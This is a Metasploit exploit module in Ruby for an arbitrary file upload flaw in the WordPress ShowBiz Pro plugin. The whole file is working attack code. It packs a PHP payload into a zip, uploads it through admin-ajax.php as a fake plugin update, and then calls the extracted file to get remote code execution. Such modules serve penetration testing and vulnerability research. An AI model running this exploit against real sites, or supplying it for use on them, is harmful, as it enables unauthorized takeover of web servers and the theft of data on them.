##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress ShowBiz Pro Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
        ShowBiz Pro plugin, version 1.7.1 and prior. The vulnerability allows for
        arbitrary file upload and remote code execution.
      },
      'Author'         =>
        [
          'Simo Ben youssef', # Vulnerability Discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '35385'],
          ['WPVDB', '7955'],
          ['OSVDB', '115118'],
          ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['ThemePunch Showbiz Pro (showbiz) 1.7.1', {}]],
      'DisclosureDate' => 'Nov 26 2015',
      'DefaultTarget'  => 0)
    )
  end

  def check
    release_log_url = normalize_uri(wordpress_url_plugins, 'showbizpro', 'release_log.html')
    # TO DO: Rewrite check. Time sleep now. :)
    check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '1.7.2')
  end

  def exploit
    php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

    payload_zip = Rex::Zip::Archive.new
    payload_zip.add_file('showbiz/' + php_pagename, payload.encoded)

    data = Rex::MIME::Message.new
    data.add_part('showbiz_ajax_action', nil, nil, 'form-data; name="action"')
    data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
    data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"showbiz.zip\"")
    post_data = data.to_s

    res = send_request_cgi(
      'uri'     => wordpress_url_admin_ajax,
      'method'  => 'POST',
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => post_data
    )

    if res
      if res.code == 200 && res.body.include?('Update in progress')
        register_files_for_cleanup(php_pagename)
        register_files_for_cleanup('../showbiz.zip')
        print_good("#{peer} - Our payload is: #{php_pagename}")
        print_status("#{peer} - Calling payload...")
        send_request_cgi(
          'uri'     => normalize_uri(wordpress_url_plugins, 'showbiz', 'temp', 'update_extract', 'showbiz', php_pagename),
          'timeout' => 5
        )
      elsif res.code == 200 && res.body =~ /^0$/
        fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'No response or response body, bailing.')
    end
  end
end
